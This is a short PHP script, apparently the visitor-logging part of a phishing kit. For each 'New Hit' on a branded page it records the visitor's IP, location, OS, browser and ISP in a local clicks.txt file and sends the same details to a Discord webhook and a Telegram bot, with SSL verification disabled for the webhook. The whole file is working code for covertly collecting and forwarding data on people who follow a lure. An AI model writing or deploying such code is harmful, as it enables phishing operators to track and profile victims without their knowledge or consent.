<?php
require_once __DIR__ . '/main.php';

$message  = "🔔 *New Hit — {$BRAND_NAME}*\n";
$message .= "||{$UserName}||\n\n";
$message .= "➡️ IP: `{$ip}` | {$cn} | {$ct}, {$st}\n";
$message .= "🖥 OS: {$os} | Browser: {$br}\n";
$message .= "🏢 ISP: {$isp}\n";
$message .= "📅 {$date}\n";

// save to log
$save = fopen(__DIR__ . '/clicks.txt', 'a+');
fwrite($save, strip_tags($message) . "\n---\n");
fclose($save);

// Discord webhook
if (!empty($Server_Webhook)) {
    $ch = curl_init($Server_Webhook);
    curl_setopt_array($ch, [
        CURLOPT_POST          => true,
        CURLOPT_HTTPHEADER    => ['Content-Type: application/json; charset=utf-8'],
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_POSTFIELDS    => json_encode(['username' => $UserName, 'content' => $message]),
    ]);
    curl_exec($ch);
    curl_close($ch);
}

// Telegram
if (!empty($http_api) && !empty($chat_id)) {
    $params = http_build_query(['chat_id' => $chat_id, 'text' => $message, 'parse_mode' => 'Markdown']);
    $ch = curl_init("https://api.telegram.org/bot{$http_api}/sendMessage?{$params}");
    curl_setopt_array($ch, [CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 5]);
    curl_exec($ch);
    curl_close($ch);
}
